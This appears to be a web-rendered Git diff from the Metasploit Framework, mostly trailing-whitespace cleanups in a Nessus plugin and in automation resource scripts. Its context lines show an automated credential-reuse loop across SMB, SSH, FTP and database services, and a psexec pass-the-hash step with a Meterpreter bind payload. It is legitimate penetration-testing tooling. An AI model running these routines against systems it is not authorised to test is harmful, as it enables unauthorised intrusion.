@user = @pass = @host = @port = @sslv = nil
|
||||
case args.length
|
||||
when 1,2
|
||||
|
@ -647,7 +647,7 @@ module Msf
|
|||
print_line("IP Address: #{details['info']['host-ip']}")
|
||||
print_line("Hostname: #{details['info']['host-name']}")
|
||||
print_line("Operating System: #{details['info']['operating-system']}")
|
||||
print_line
|
||||
print_line
|
||||
print_status("Vulnerability information")
|
||||
details["vulnerabilities"].each { |vuln|
|
||||
tbl << [ vuln["plugin_name"], vuln["plugin_family"], vuln["severity"] ]
|
||||
|
@ -684,7 +684,7 @@ module Msf
|
|||
report = @n.report_download(scan_id, file_id)
|
||||
File.open("#{msf_local}/#{scan_id}-#{file_id}","w+") do |f|
|
||||
f.puts report
|
||||
print_status("Report downloaded to #{msf_local} directory")
|
||||
print_status("Report downloaded to #{msf_local} directory")
|
||||
end
|
||||
else
|
||||
print_error("Only completed scans ca be downloaded")
|
||||
|
@ -799,7 +799,7 @@ module Msf
|
|||
'Status',
|
||||
'Folder'
|
||||
])
|
||||
|
||||
|
||||
list["scans"].each { |scan|
|
||||
if args[0] == "-r"
|
||||
if scan["status"] == "running"
|
||||
|
@ -1010,11 +1010,11 @@ module Msf
|
|||
end
|
||||
else
|
||||
print_error(export)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Only completed scans could be used for import")
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
def is_scan_complete(scan_id)
|
||||
|
|
|
@ -58,24 +58,24 @@ framework.db.creds.each do |creds|
|
|||
next if not serv.host
|
||||
next if (serv.state != Msf::ServiceState::Open)
|
||||
# for now we only check these services, you can add some more ...
|
||||
next if not (serv.name =~ /smb/ or
|
||||
serv.name =~ /microsoft-ds/ or
|
||||
serv.name =~ /netbios-ssn/ or
|
||||
serv.name =~ /ftp/ or
|
||||
serv.name =~ /ssh/ or
|
||||
serv.name =~ /telnet/ or
|
||||
serv.name =~ /mysql/ or
|
||||
serv.name =~ /vnc/ or
|
||||
serv.name =~ /mssql/ or
|
||||
serv.name =~ /pop3/ or
|
||||
next if not (serv.name =~ /smb/ or
|
||||
serv.name =~ /microsoft-ds/ or
|
||||
serv.name =~ /netbios-ssn/ or
|
||||
serv.name =~ /ftp/ or
|
||||
serv.name =~ /ssh/ or
|
||||
serv.name =~ /telnet/ or
|
||||
serv.name =~ /mysql/ or
|
||||
serv.name =~ /vnc/ or
|
||||
serv.name =~ /mssql/ or
|
||||
serv.name =~ /pop3/ or
|
||||
serv.name =~ /postgres/)
|
||||
|
||||
xport = serv.port.to_i
|
||||
xprot = serv.proto
|
||||
xname = serv.name
|
||||
xhost = host.address
|
||||
xhost = host.address
|
||||
|
||||
if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
|
||||
if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
|
||||
print_line("smb_login")
|
||||
if(verbose == 1)
|
||||
infos(serv,creds,host)
|
||||
|
|
|
@ -9,8 +9,8 @@
|
|||
|
||||
<ruby>
|
||||
#psexec needs a payload
|
||||
if framework.datastore['PAYLOAD']
|
||||
pload = framework.datastore['PAYLOAD']
|
||||
if framework.datastore['PAYLOAD']
|
||||
pload = framework.datastore['PAYLOAD']
|
||||
else #just to get sure that we have a backup payload
|
||||
pload = "windows/meterpreter/bind_tcp"
|
||||
end
|
||||
|
@ -59,7 +59,7 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in
|
|||
|
||||
if (jotr == 1)
|
||||
# first checking weak windows hashes with john ... because of the filtering before, we are sure that
|
||||
# this is a windows hash
|
||||
# this is a windows hash
|
||||
# on the first found hash we are going to analyse all hashes - then we set jotr to 0
|
||||
|
||||
print_line("using jtr_crack_fast")
|
||||
|
@ -74,14 +74,14 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in
|
|||
|
||||
smbhash = creds.pass
|
||||
username = creds.user
|
||||
|
||||
|
||||
framework.db.hosts.each do |host|
|
||||
next if (host.os_name !~ /Windows/) # pass the hash works just for Win
|
||||
|
||||
host.services.each do |serv|
|
||||
next if not serv.host
|
||||
next if (serv.state != Msf::ServiceState::Open)
|
||||
next if (serv.name !~ /smb/)
|
||||
next if (serv.name !~ /smb/)
|
||||
|
||||
print_line("using psexec - Pass the hash")
|
||||
if(verbose == 1)
|
||||
|
|
|
@ -36,7 +36,7 @@ framework.db.workspace.hosts.each do |host|
|
|||
next if not serv.host
|
||||
next if (serv.state != Msf::ServiceState::Open)
|
||||
next if (serv.name !~ /http/)
|
||||
|
||||
|
||||
if(verbose == 1)
|
||||
print_line("IP: #{host.address}")
|
||||
print_line("OS: #{host.os_name}")
|
||||
|
|
|
@ -109,7 +109,7 @@ print_line("starting discovery scanners ... stage 2")
|
|||
print_line("============================================")
|
||||
print_line("")
|
||||
|
||||
run_single("unsetg RHOSTS") # we dont need it anymore
|
||||
run_single("unsetg RHOSTS") # we dont need it anymore
|
||||
|
||||
framework.db.workspace.hosts.each do |host|
|
||||
host.services.each do |serv|
|
||||
|
@ -416,7 +416,7 @@ framework.db.workspace.hosts.each do |host|
|
|||
end
|
||||
|
||||
if (serv.name =~ /http/ or serv.port == 80 or serv.port == 443)
|
||||
|
||||
|
||||
if(versionscanners == 1 or serv.name == nil)
|
||||
print_line("Module: http_version")
|
||||
run_single("use auxiliary/scanner/http/http_version")
|
||||
|
@ -700,7 +700,7 @@ framework.db.workspace.hosts.each do |host|
|
|||
jobwaiting(maxjobs,verbose)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if (serv.port == 7777)
|
||||
print_line("Module: energizer_duo_detect")
|
||||
run_single("use auxiliary/scanner/backdoor/energizer_duo_detect")
|
||||
|
|
|
@ -24,9 +24,9 @@ end
|
|||
|
||||
#we look in the global datastore for a global VERBOSE option and use it
|
||||
if (framework.datastore['VERBOSE'] == "true")
|
||||
verbose = 1
|
||||
verbose = 1
|
||||
else
|
||||
verbose = 0
|
||||
verbose = 0
|
||||
end
|
||||
|
||||
if (framework.plugins.to_s =~ /[Ww]map/)
|
||||
|
|
|
@ -61,7 +61,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
|||
|
||||
context '#with_connection' do
|
||||
def reserved_connection_count
|
||||
connection_pool.instance_variable_get(:@reserved_connections).length
|
||||
connection_pool.instance_variable_get(:@reserved_connections).size
|
||||
end
|
||||
|
||||
let(:connection_id) do
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue